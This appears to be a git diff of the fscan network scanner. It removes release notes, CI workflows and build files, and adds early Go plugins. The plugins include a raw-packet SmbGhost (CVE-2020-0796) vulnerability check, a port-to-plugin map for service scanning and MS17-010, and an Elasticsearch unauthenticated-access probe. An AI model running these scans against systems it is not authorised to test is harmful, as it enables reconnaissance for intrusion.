| **fscan** | 标准版,包含全部插件(推荐) |
| **fscan-nolocal** | 精简版,不含本地模块(体积更小) |
| **fscan-web** | WebUI 版,带 Web 管理界面(主流平台) |
## 平台支持
| 平台 | 架构 |
|------|------|
| Linux | x64, x32, arm64, armv5/6/7, mips, mips64, mipsle |
| Windows | x64, x32 |
| macOS | x64, arm64 |
| FreeBSD | x64, x32, arm64, armv5/6/7 |
| Solaris | x64 |
---
## 校验
本版本已通过:
- `go test ./...`
- 近期 Issue 回归验证
- 本地 HTTP / HTTPS POC 扫描验证
- `-hf` 批量 POC 扫描验证
- `-ehf` IP / CIDR 排除验证
完整变更记录见:
https://github.com/shadow1ng/fscan/compare/v2.1.3...v2.2.0
-64
View File
@@ -1,64 +0,0 @@
# fscan v2.2.1
v2.2.1 是 v2.2 系列的稳定性修复版本,重点解决大规模扫描提前结束、开放端口漏扫、服务识别误差和协议插件异常,并扩充常见内网产品的 POC 覆盖。
---
## 重点变化
### 扫描稳定性
- 默认不再启用全局扫描超时,避免大网段或弱网络环境下扫描被整体提前终止
- `-gt` 仍可用于显式设置全局超时;嵌入式 SDK 同样支持按需配置
- 修复高并发场景下自适应超时过低导致开放端口漏扫的问题
- 扫描异常退出时正常执行结果清理和落盘,避免主结果为空及 `.realtime.tmp` 残留
### 服务识别与协议插件
- 修复 `-nobr` 下 VNC 仍继续尝试密码的问题
- Telnet 未授权结果增加真实命令执行验证,降低提示符误报
- SSH 服务识别支持 RFC 4253 允许的 identification 前提示行
- 修复 RDP Fast-Path 数据早于监听器初始化时触发的 nil pointer panic
- 通用 SSL/TLS 指纹不再直接判定为 Web 服务,减少 MQTT TLS 等非 HTTP 服务的握手报错
### POC 覆盖
新增 100 个经过整理的内网常见产品 POC,覆盖:
- 泛微、致远、蓝凌、万户、通达、用友、金蝶、金蝶云星空
- H3C、海康威视、锐捷、深信服、契约锁、帆软
- Nacos、Kubernetes、GitLab、Jenkins、Hadoop、Spark、Solr、Elastic Stack 等
同时补充第三方来源说明,并为新增 POC 增加加载测试。
---
## 已解决 Issue
- #596 Telnet 未授权误报
- #598 高并发下开放端口漏扫
- #599 `-nobr` 未阻止 VNC 密码尝试
- #600 TLS 服务扫描报错、结果文件为空及临时文件残留
- #601 SSH 服务端口无法识别
- #603 RDP Fast-Path nil pointer panic
---
## 升级说明
- 从 v2.2.0 可直接升级
- 如需限制整个扫描任务的最长运行时间,请显式传入 `-gt <秒数>`
- POC 仅用于已获授权的安全测试环境
## 校验
本版本已通过:
- `go test ./...`
- GitHub Actions 测试构建
- GoReleaser 全平台 snapshot 构建
- VNC、SSH、RDP、Telnet 和 Web 服务识别回归测试
完整变更记录:
https://github.com/shadow1ng/fscan/compare/v2.2.0...v2.2.1
-81
View File
@@ -1,81 +0,0 @@
name: Project 自动化
on:
issues:
types: [opened, closed, reopened]
env:
PROJECT_URL: https://github.com/users/shadow1ng/projects/1
jobs:
# Issue/PR 创建时添加到 Project,状态设为"要搞"
add-to-project:
if: github.event.action == 'opened'
runs-on: ubuntu-latest
steps:
- name: Add to project
uses: actions/[email protected]
id: add
with:
project-url: ${{ env.PROJECT_URL }}
github-token: ${{ secrets.GITHUB_TOKEN }}
- name: Set status to 要搞
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
gh project item-edit \
--project-id PVT_kwHOAl0Kfs4BCgG2 \
--id ${{ steps.add.outputs.itemId }} \
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
--single-select-option-id f75ad846
# Issue/PR 关闭时状态设为"搞定"
close-item:
if: github.event.action == 'closed'
runs-on: ubuntu-latest
steps:
- name: Get item ID
id: get-item
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
ITEM_ID=$(gh project item-list 1 --owner shadow1ng --format json | \
jq -r '.items[] | select(.content.number == ${{ github.event.issue.number || github.event.pull_request.number }}) | .id')
echo "item_id=$ITEM_ID" >> $GITHUB_OUTPUT
- name: Set status to 搞定
if: steps.get-item.outputs.item_id != ''
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
gh project item-edit \
--project-id PVT_kwHOAl0Kfs4BCgG2 \
--id ${{ steps.get-item.outputs.item_id }} \
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
--single-select-option-id 98236657
# Issue/PR 重新打开时状态设为"在搞"
reopen-item:
if: github.event.action == 'reopened'
runs-on: ubuntu-latest
steps:
- name: Get item ID
id: get-item
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
ITEM_ID=$(gh project item-list 1 --owner shadow1ng --format json | \
jq -r '.items[] | select(.content.number == ${{ github.event.issue.number || github.event.pull_request.number }}) | .id')
echo "item_id=$ITEM_ID" >> $GITHUB_OUTPUT
- name: Set status to 在搞
if: steps.get-item.outputs.item_id != ''
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
gh project item-edit \
--project-id PVT_kwHOAl0Kfs4BCgG2 \
--id ${{ steps.get-item.outputs.item_id }} \
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
--single-select-option-id 47fc9ee4
-149
View File
@@ -1,149 +0,0 @@
name: 发布
on:
push:
branches:
- main
tags:
- 'v*'
workflow_dispatch:
inputs:
snapshot:
description: '仅测试构建(不发布)'
type: boolean
default: false
draft:
description: '创建草稿发布'
type: boolean
default: false
permissions:
contents: write
env:
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
jobs:
auto-tag:
if: ${{ github.event_name == 'push' && github.ref == 'refs/heads/main' }}
runs-on: ubuntu-latest
timeout-minutes: 5
outputs:
tag: ${{ steps.version.outputs.tag }}
steps:
- name: 检出代码
uses: actions/checkout@v4
with:
fetch-depth: 0
- name: 读取版本号
id: version
shell: bash
run: |
VERSION=$(sed -n 's/^[[:space:]]*version = "\(.*\)"/\1/p' common/globals.go)
if [ -z "$VERSION" ]; then
echo "❌ 无法从 common/globals.go 读取版本号"
exit 1
fi
TAG="v${VERSION}"
echo "version=${VERSION}" >> "$GITHUB_OUTPUT"
echo "tag=${TAG}" >> "$GITHUB_OUTPUT"
echo "准备发布 ${TAG}"
- name: 创建发布标签
shell: bash
run: |
TAG="${{ steps.version.outputs.tag }}"
if git ls-remote --exit-code --tags origin "refs/tags/${TAG}" >/tmp/tag-ref 2>/dev/null; then
git fetch --force origin "refs/tags/${TAG}:refs/tags/${TAG}"
TAG_COMMIT=$(git rev-list -n 1 "${TAG}")
HEAD_COMMIT=$(git rev-parse HEAD)
if [ "$TAG_COMMIT" = "$HEAD_COMMIT" ]; then
echo "✅ ${TAG} 已指向当前提交,跳过创建"
exit 0
fi
echo "❌ ${TAG} 已存在,但不指向当前提交"
echo "tag: ${TAG_COMMIT}"
echo "head: ${HEAD_COMMIT}"
exit 1
fi
git config user.name "github-actions[bot]"
git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
git tag -a "${TAG}" -m "Release ${TAG}"
git push origin "${TAG}"
release:
needs: [auto-tag]
if: ${{ always() && (startsWith(github.ref, 'refs/tags/') || github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/main' && needs.auto-tag.result == 'success')) }}
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: 检出代码
uses: actions/checkout@v4
with:
fetch-depth: 0
- name: 解析发布标签
id: release_tag
shell: bash
env:
AUTO_TAG: ${{ needs.auto-tag.outputs.tag }}
SNAPSHOT: ${{ inputs.snapshot }}
run: |
if [[ "${GITHUB_REF}" == refs/tags/* ]]; then
TAG="${GITHUB_REF_NAME}"
elif [ "${GITHUB_EVENT_NAME}" = "push" ] && [ "${GITHUB_REF}" = "refs/heads/main" ]; then
TAG="${AUTO_TAG}"
git fetch --force origin "refs/tags/${TAG}:refs/tags/${TAG}"
elif [ "${GITHUB_EVENT_NAME}" = "workflow_dispatch" ] && [ "${SNAPSHOT}" = "true" ]; then
TAG="${GITHUB_REF_NAME}"
else
echo "❌ 非 snapshot 手动发布必须从 tag 触发"
exit 1
fi
echo "tag=${TAG}" >> "$GITHUB_OUTPUT"
echo "RELEASE_TAG=${TAG}" >> "$GITHUB_ENV"
- name: 准备 Release Notes
if: ${{ !inputs.snapshot }}
run: |
TAG="${RELEASE_TAG}"
NOTES_FILE=".github/release-notes/${TAG}.md"
if [ -f "$NOTES_FILE" ]; then
echo "📝 找到版本 Release Notes: $NOTES_FILE"
cp "$NOTES_FILE" /tmp/release-notes.md
else
echo "⚠️ 未找到 $NOTES_FILE,使用自动生成的 changelog"
echo "" > /tmp/release-notes.md
fi
echo "RELEASE_NOTES_FILE=/tmp/release-notes.md" >> $GITHUB_ENV
- name: 构建和发布
uses: ./.github/actions/build-release
with:
mode: ${{ inputs.snapshot && 'snapshot' || 'release' }}
go-version: '1.25'
retention-days: '90'
release-args: ${{ inputs.draft && '--draft' || '' }}
- name: 更新 Release Notes
if: ${{ !inputs.snapshot && env.RELEASE_NOTES_FILE != '' }}
env:
GH_TOKEN: ${{ github.token }}
run: |
TAG="${RELEASE_TAG}"
NOTES_FILE="${RELEASE_NOTES_FILE}"
if [ -s "$NOTES_FILE" ]; then
echo "📝 更新 Release Notes..."
# 用版本特定的 notes 替换 goreleaser 生成的 body
gh release edit "$TAG" --notes-file "$NOTES_FILE"
echo "✅ Release Notes 已更新"
fi
-192
View File
@@ -1,192 +0,0 @@
name: 测试构建
on:
push:
branches:
- main
- dev
- dev-*
- develop
- feature/*
paths-ignore:
- '*.md'
- '*.txt'
- 'README*'
- 'LICENSE*'
- 'image/**'
- 'TestDocker/**'
- '**/*.png'
- '**/*.jpg'
- '**/*.jpeg'
pull_request:
branches:
- main
- master
- dev
paths-ignore:
- '*.md'
- '*.txt'
- 'README*'
- 'LICENSE*'
- 'image/**'
- 'TestDocker/**'
- '**/*.png'
- '**/*.jpg'
- '**/*.jpeg'
workflow_dispatch:
permissions:
contents: read
env:
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
jobs:
lint:
name: 代码检查
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- name: 检出代码
uses: actions/checkout@v4
- name: 设置 Go 环境
uses: actions/setup-go@v5
with:
go-version: '1.25'
cache: true
- name: 运行 golangci-lint
run: |
# 安装 golangci-lint v2 (需 Go 1.22+,仅用于静态分析,不影响二进制兼容性)
go install github.com/golangci/golangci-lint/v2/cmd/[email protected]
# 运行检查
golangci-lint run --timeout=5m > lint_output.txt 2>&1 || true
cat lint_output.txt
# 过滤非关键问题(复杂度建议和 staticcheck 风格建议不阻塞 CI
CRITICAL=$(grep -E "\.go:[0-9]+:[0-9]+:" lint_output.txt \
| grep -vE "gocognit|gocyclo|QF[0-9]+| S[0-9]+|ST[0-9]+" || true)
if [ -n "$CRITICAL" ]; then
echo "❌ Linting failed with critical issues:"
echo "$CRITICAL" | head -20
exit 1
fi
echo "✅ Lint 检查通过"
- name: 检查代码复杂度(质量门禁)
run: |
echo "### 🚦 复杂度质量门禁" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 检查认知复杂度>80的函数
COMPLEX_FUNCS=$(golangci-lint run --disable-all --enable=gocognit --out-format=line-number 2>&1 | grep "cognitive complexity" | grep -v "typechecking" || true)
if [ -n "$COMPLEX_FUNCS" ]; then
HIGH_COMPLEX=$(echo "$COMPLEX_FUNCS" | awk '{print $NF}' | sed 's/[()]//g' | awk -F'>' '{if ($1 > 80) print}' | wc -l)
if [ "$HIGH_COMPLEX" -gt 0 ]; then
echo "❌ **发现 $HIGH_COMPLEX 个复杂度>80的函数**" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo '```' >> $GITHUB_STEP_SUMMARY
echo "$COMPLEX_FUNCS" | awk '{print $NF}' | sed 's/[()]//g' | awk -F'>' '{if ($1 > 80) print "复杂度:", $1, "- 必须重构"}' >> $GITHUB_STEP_SUMMARY
echo '```' >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "⚠️ 请重构复杂度>80的函数后再提交" >> $GITHUB_STEP_SUMMARY
exit 1
fi
fi
echo "✅ 代码复杂度检查通过(所有函数≤80" >> $GITHUB_STEP_SUMMARY
test:
name: 单元测试和构建
runs-on: ubuntu-latest
timeout-minutes: 10
needs: lint
steps:
- name: 检出代码
uses: actions/checkout@v4
- name: 设置 Go 环境
uses: actions/setup-go@v5
with:
go-version: '1.25'
cache: true
- name: 下载依赖
run: |
go mod download
go mod verify
- name: 运行测试
run: |
# 排除第三方grdp库测试(存在环境依赖问题)
PKGS=$(go list ./... | grep -v '/libs/grdp/')
go test -vet=off -race -coverprofile=coverage.out -covermode=atomic $PKGS
- name: 上传覆盖率
uses: actions/upload-artifact@v4
with:
name: coverage-report
path: coverage.out
retention-days: 7
- name: 显示覆盖率
run: |
echo "### 测试覆盖率报告" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
go tool cover -func=coverage.out >> $GITHUB_STEP_SUMMARY
- name: 检查覆盖率(质量门禁)
run: |
echo "" >> $GITHUB_STEP_SUMMARY
echo "### 🚦 覆盖率质量门禁" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 提取总体覆盖率(awk 整数比较,不需要 bc)
TOTAL_COVERAGE=$(go tool cover -func=coverage.out | grep total | awk '{print int($3)}')
echo "总体覆盖率: ${TOTAL_COVERAGE}%" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 警告阈值:总体<40%
if [ "$TOTAL_COVERAGE" -lt 40 ]; then
echo "⚠️ **警告**: 总体覆盖率 ${TOTAL_COVERAGE}% < 40%,建议补充测试" >> $GITHUB_STEP_SUMMARY
fi
# 检查是否有新增的未测试文件(0%覆盖率)
ZERO_COVERAGE_FILES=$(go tool cover -func=coverage.out | awk '$3 == "0.0%" && $1 !~ /_test\.go/' | wc -l)
if [ "$ZERO_COVERAGE_FILES" -gt 0 ]; then
echo "⚠️ **警告**: 发现 $ZERO_COVERAGE_FILES 个文件覆盖率为0%" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "请为新代码补充单元测试" >> $GITHUB_STEP_SUMMARY
else
echo "✅ 覆盖率检查通过" >> $GITHUB_STEP_SUMMARY
fi
build:
name: 构建验证
runs-on: ubuntu-latest
timeout-minutes: 5
needs: test
steps:
- name: 检出代码
uses: actions/checkout@v4
- name: 设置 Go 环境
uses: actions/setup-go@v5
with:
go-version: '1.25'
cache: true
- name: 构建验证
run: |
# 只验证能否编译通过,不需要多平台构建
echo "🔨 验证 Linux/amd64 构建..."
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o /dev/null .
echo "✅ 构建成功"
-102
View File
@@ -1,102 +0,0 @@
result.txt
result.json
/main
.idea
fscan.exe
/fscan
fscanapi.csv
# IDE files / IDE 文件
.vscode/
.cursor/
.cursorrules
.claude/
# Local development files / 本地开发文件
*.local
*.tmp
*.temp
.env
.env.local
.env.development
.env.test
.env.production
# OS files / 操作系统文件
.DS_Store
.DS_Store?
._*
.Spotlight-V100
.Trashes
ehthumbs.db
Thumbs.db
desktop.ini
# Logs / 日志文件
*.log
logs/
log/
# Test coverage / 测试覆盖率
coverage.txt
coverage.html
*.cover
*.out
coverage*.out
# Test artifacts / 测试产物
*_report.txt
*_output.txt
*_test_*.txt
race_report.txt
test_output.txt
# Build artifacts / 构建产物
build/
bin/
*.exe
*.dll
*.so
*.dylib
/fscan_cli
/fscan_web
/embed-agent
# Web UI build / Web前端构建
web-ui/node_modules/
web-ui/dist/
!web/dist/
# Go specific / Go 相关
vendor/
*.test
*.prof
*.mem
*.cpu
__debug_bin*
go.work
go.work.sum
# Performance profiling / 性能分析
profiles/
# Local development tools / 本地开发工具
.air.toml
air_tmp/
# Todo files / Todo文件
Todo列表.md
*todo*.md
*TODO*.md
# Claude documentation / Claude文档
.claude_docs/
# Cleaner plugin artifacts / 清理插件产物
cleanup.bat
cleanup.sh
cleanup_script_*
# Compilation objects / 编译对象文件
*.o
*.a
-52
View File
@@ -1,52 +0,0 @@
# golangci-lint v2 配置
version: "2"
run:
timeout: 5m
linters:
default: none
enable:
- govet
- errcheck
- staticcheck
- unused
- ineffassign
- gocyclo
- gocognit
settings:
govet:
disable:
- printf
errcheck:
check-type-assertions: true
exclude-functions:
- (net.Conn).Close
- (*os.File).Close
- os.Remove
- (github.com/hirochachacha/go-smb2.Session).Logoff
- (github.com/hirochachacha/go-smb2.Share).Umount
gocyclo:
min-complexity: 35
gocognit:
min-complexity: 80
exclusions:
generated: lax
rules:
- path: _test\.go
linters:
- gocyclo
- gocognit
- errcheck
- linters:
- govet
text: "fieldalignment:"
paths:
- vendor
- testdocker
- image
- libs/grdp
issues:
max-issues-per-linter: 50
max-same-issues: 3
-21
View File
@@ -1,21 +0,0 @@
MIT License
Copyright (c) 2021 shadow1ng
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
-191
View File
@@ -1,191 +0,0 @@
# fscan Makefile
# 提供统一的构建、测试、检查命令
.PHONY: help test test-cover build build-web build-ui build-debug build-race lint lint-fix clean ci deps install-tools stress-test
# 默认目标
.DEFAULT_GOAL := help
# 项目配置
BINARY_NAME := fscan
GO := go
GOLANGCI_LINT := golangci-lint
# 颜色输出
BLUE := \033[0;34m
GREEN := \033[0;32m
RED := \033[0;31m
NC := \033[0m # No Color
## help: 显示帮助信息
help:
@echo "$(BLUE)fscan 构建工具$(NC)"
@echo ""
@echo "$(GREEN)可用命令:$(NC)"
@grep -E '^## ' $(MAKEFILE_LIST) | sed 's/^## / /'
@echo ""
## deps: 下载依赖
deps:
@echo "$(BLUE)下载依赖...$(NC)"
$(GO) mod download
$(GO) mod verify
@echo "$(GREEN)✓ 依赖下载完成$(NC)"
## test: 运行测试
test:
@echo "$(BLUE)运行测试...$(NC)"
# 禁用go test内置的vet检查,因为i18n.GetTextF的间接格式化模式与vet的printf检查冲突
# golangci-lint会运行完整的vet检查(已在.golangci.yml中禁用printf
$(GO) test -vet=off -race -v ./...
@echo "$(GREEN)✓ 测试通过$(NC)"
## test-cover: 运行测试并生成覆盖率报告
test-cover:
@echo "$(BLUE)运行测试(带覆盖率)...$(NC)"
# 禁用go test内置的vet检查,原因同上
$(GO) test -vet=off -race -coverprofile=coverage.out -covermode=atomic ./...
@echo ""
@echo "$(BLUE)覆盖率报告:$(NC)"
$(GO) tool cover -func=coverage.out | tail -1
@echo ""
@echo "$(GREEN)生成 HTML 报告: coverage.html$(NC)"
$(GO) tool cover -html=coverage.out -o coverage.html
@echo "$(GREEN)✓ 覆盖率报告生成完成$(NC)"
## build: 构建生产版本(无 pprof,优化体积)
build:
@echo "$(BLUE)构建生产版本(无 pprof...$(NC)"
$(GO) build -ldflags="-s -w" -trimpath -o $(BINARY_NAME) .
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)$(NC)"
## build-web: 构建带Web UI的版本(需要先构建前端)
build-web: build-ui
@echo "$(BLUE)构建Web版本...$(NC)"
$(GO) build -tags web -ldflags="-s -w" -trimpath -o $(BINARY_NAME)-web .
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)-web$(NC)"
@echo "$(BLUE)提示: 运行 ./$(BINARY_NAME)-web 启动Web界面(默认端口 10240)$(NC)"
## build-ui: 构建前端(需要Node.js和npm
build-ui:
@echo "$(BLUE)构建前端...$(NC)"
@if [ ! -d "web-ui" ]; then \
echo "$(RED)错误: web-ui 目录不存在$(NC)"; \
echo "请先创建前端项目"; \
exit 1; \
fi
@cd web-ui && npm install && npm run build
@rm -rf web/dist
@cp -r web-ui/dist web/dist
@echo "$(GREEN)✓ 前端构建完成$(NC)"
## build-debug: 构建调试版本(带 pprof
build-debug:
@echo "$(BLUE)构建调试版本(带 pprof...$(NC)"
$(GO) build -tags=debug -o $(BINARY_NAME)_debug .
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)_debug$(NC)"
@echo "$(BLUE)提示: 运行后访问 http://localhost:6060/debug/pprof$(NC)"
## build-race: 构建 race 检测版本
build-race:
@echo "$(BLUE)构建 race 检测版本...$(NC)"
$(GO) build -race -tags=debug -o $(BINARY_NAME)_race .
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)_race$(NC)"
@echo "$(BLUE)提示: 运行时会检测数据竞争,性能会降低$(NC)"
## build-all: 构建所有平台的二进制文件
build-all:
@echo "$(BLUE)构建所有平台...$(NC)"
@echo "Windows amd64..."
GOOS=windows GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-windows-amd64.exe .
@echo "Linux amd64..."
GOOS=linux GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-linux-amd64 .
@echo "Darwin amd64..."
GOOS=darwin GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-darwin-amd64 .
@echo "$(GREEN)✓ 所有平台构建完成$(NC)"
## lint: 运行代码检查
lint:
@echo "$(BLUE)运行代码检查...$(NC)"
@command -v $(GOLANGCI_LINT) >/dev/null 2>&1 || \
{ echo "$(RED)错误: golangci-lint 未安装$(NC)"; \
echo "运行 'make install-tools' 安装"; \
exit 1; }
$(GOLANGCI_LINT) run ./...
@echo "$(GREEN)✓ 代码检查通过$(NC)"
## lint-fix: 运行代码检查并自动修复
lint-fix:
@echo "$(BLUE)运行代码检查(自动修复)...$(NC)"
@command -v $(GOLANGCI_LINT) >/dev/null 2>&1 || \
{ echo "$(RED)错误: golangci-lint 未安装$(NC)"; \
echo "运行 'make install-tools' 安装"; \
exit 1; }
$(GOLANGCI_LINT) run --fix ./...
@echo "$(GREEN)✓ 代码检查完成(已自动修复)$(NC)"
## clean: 清理构建产物
clean:
@echo "$(BLUE)清理构建产物...$(NC)"
rm -f $(BINARY_NAME) $(BINARY_NAME).exe
rm -f $(BINARY_NAME)_debug $(BINARY_NAME)_debug.exe
rm -f $(BINARY_NAME)_race $(BINARY_NAME)_race.exe
rm -f coverage.out coverage.html
rm -rf dist/ tests/logs/
@echo "$(GREEN)✓ 清理完成$(NC)"
## stress-test: 压力测试(需要先 build-debug
stress-test:
@echo "$(BLUE)压力测试...$(NC)"
@if [ ! -f $(BINARY_NAME)_debug ] && [ ! -f $(BINARY_NAME)_debug.exe ]; then \
echo "$(RED)错误: $(BINARY_NAME)_debug 不存在$(NC)"; \
echo "请先运行 'make build-debug'"; \
exit 1; \
fi
@if [ -f tests/stress_test.sh ]; then \
bash tests/stress_test.sh; \
else \
echo "$(RED)错误: tests/stress_test.sh 不存在$(NC)"; \
echo "请先创建压力测试脚本"; \
exit 1; \
fi
## ci: CI流程(lint + test + build
ci: lint test build
@echo "$(GREEN)✓ CI流程完成$(NC)"
## install-tools: 安装开发工具
install-tools:
@echo "$(BLUE)安装开发工具...$(NC)"
@echo "检查 golangci-lint..."
@if command -v $(GOLANGCI_LINT) >/dev/null 2>&1; then \
echo "$(GREEN)✓ golangci-lint 已安装$(NC)"; \
$(GOLANGCI_LINT) version; \
else \
echo "$(BLUE)安装 golangci-lint...$(NC)"; \
if command -v go >/dev/null 2>&1; then \
echo "使用 go install 安装..."; \
go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest && \
echo "$(GREEN)✓ golangci-lint 安装成功$(NC)" && \
$(GOLANGCI_LINT) version || \
{ echo "$(RED)✗ 安装失败,请手动安装:$(NC)"; \
echo " go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest"; \
echo "或访问: https://golangci-lint.run/welcome/install/"; \
exit 1; }; \
else \
echo "$(RED)✗ Go 未安装,无法自动安装 golangci-lint$(NC)"; \
exit 1; \
fi; \
fi
## fmt: 格式化代码
fmt:
@echo "$(BLUE)格式化代码...$(NC)"
$(GO) fmt ./...
@echo "$(GREEN)✓ 代码格式化完成$(NC)"
## vet: 运行 go vet(跳过printf检查)
vet:
@echo "$(BLUE)运行 go vet...$(NC)"
$(GO) vet -printf=false ./...
@echo "$(GREEN)✓ go vet 检查通过$(NC)"
+127
View File
@@ -0,0 +1,127 @@
package Plugins
import (
"bytes"
"fmt"
"net"
"time"
"github.com/shadow1ng/fscan/common"
)
const (
pkt = "\x00" + // session
"\x00\x00\xc0" + // legth
"\xfeSMB@\x00" + // protocol
//[MS-SMB2]: SMB2 NEGOTIATE Request
//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
"\x00\x00" +
"\x00\x00" +
"\x00\x00" +
"\x00\x00" +
"\x1f\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
// [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
"$\x00" +
"\x08\x00" +
"\x01\x00" +
"\x00\x00" +
"\x7f\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"x\x00" +
"\x00\x00" +
"\x02\x00" +
"\x00\x00" +
"\x02\x02" +
"\x10\x02" +
"\x22\x02" +
"$\x02" +
"\x00\x03" +
"\x02\x03" +
"\x10\x03" +
"\x11\x03" +
"\x00\x00\x00\x00" +
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
"\x01\x00" +
"&\x00" +
"\x00\x00\x00\x00" +
"\x01\x00" +
"\x20\x00" +
"\x01\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00" +
// [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
"\x03\x00" +
"\x0e\x00" +
"\x00\x00\x00\x00" +
"\x01\x00" + //CompressionAlgorithmCount
"\x00\x00" +
"\x01\x00\x00\x00" +
"\x01\x00" + //LZNT1
"\x00\x00" +
"\x00\x00\x00\x00"
)
func SmbGhost(info *common.HostInfo) error {
err := SmbGhostScan(info)
return err
}
func SmbGhostScan(info *common.HostInfo) error {
ip, port, timeout := info.Host, 445, time.Duration(info.Timeout)*time.Second
addr := fmt.Sprintf("%s:%d", info.Host, port)
conn, err := net.DialTimeout("tcp", addr, timeout)
if err != nil {
return err
}
_, err = conn.Write([]byte(pkt))
if err != nil {
return err
}
buff := make([]byte, 1024)
err = conn.SetReadDeadline(time.Now().Add(timeout))
n, err := conn.Read(buff)
if err != nil {
return err
}
defer conn.Close()
if bytes.Contains(buff[:n], []byte("Public")) == true {
result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable", ip)
common.LogSuccess(result)
}
return err
}
+18
View File
@@ -0,0 +1,18 @@
package Plugins
var PluginList = map[string]interface{}{
"21": FtpScan,
"22": SshScan,
"135": Findnet,
"445": SmbScan,
"1433":MssqlScan,
"3306": MysqlScan,
"5432": PostgresScan,
"6379": RedisScan,
"9200":elasticsearchScan,
"11211":MemcachedScan,
"27017":MongodbScan,
"1000001": MS17010,
"1000002": SmbGhost,
"1000003":WebTitle,
}
+57
View File
@@ -0,0 +1,57 @@
package Plugins
import (
"crypto/tls"
"fmt"
"io/ioutil"
"net"
"net/http"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
)
func elasticsearchScan(info *common.HostInfo) error {
_, err := geturl2(info)
return err
}
func geturl2(info *common.HostInfo) (flag bool, err error) {
flag = false
url := fmt.Sprintf("%s:%d/_cat", info.Url, common.PORTList["elastic"])
var client = &http.Client{
Timeout: time.Duration(info.WebTimeout) * time.Second,
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
DisableKeepAlives: false,
DialContext: (&net.Dialer{
Timeout: time.Duration(info.WebTimeout) * time.Second,
}).DialContext,
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
res, err := http.NewRequest("GET", url, nil)
if err == nil {
res.Header.Add("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
res.Header.Add("Accept", "*/*")
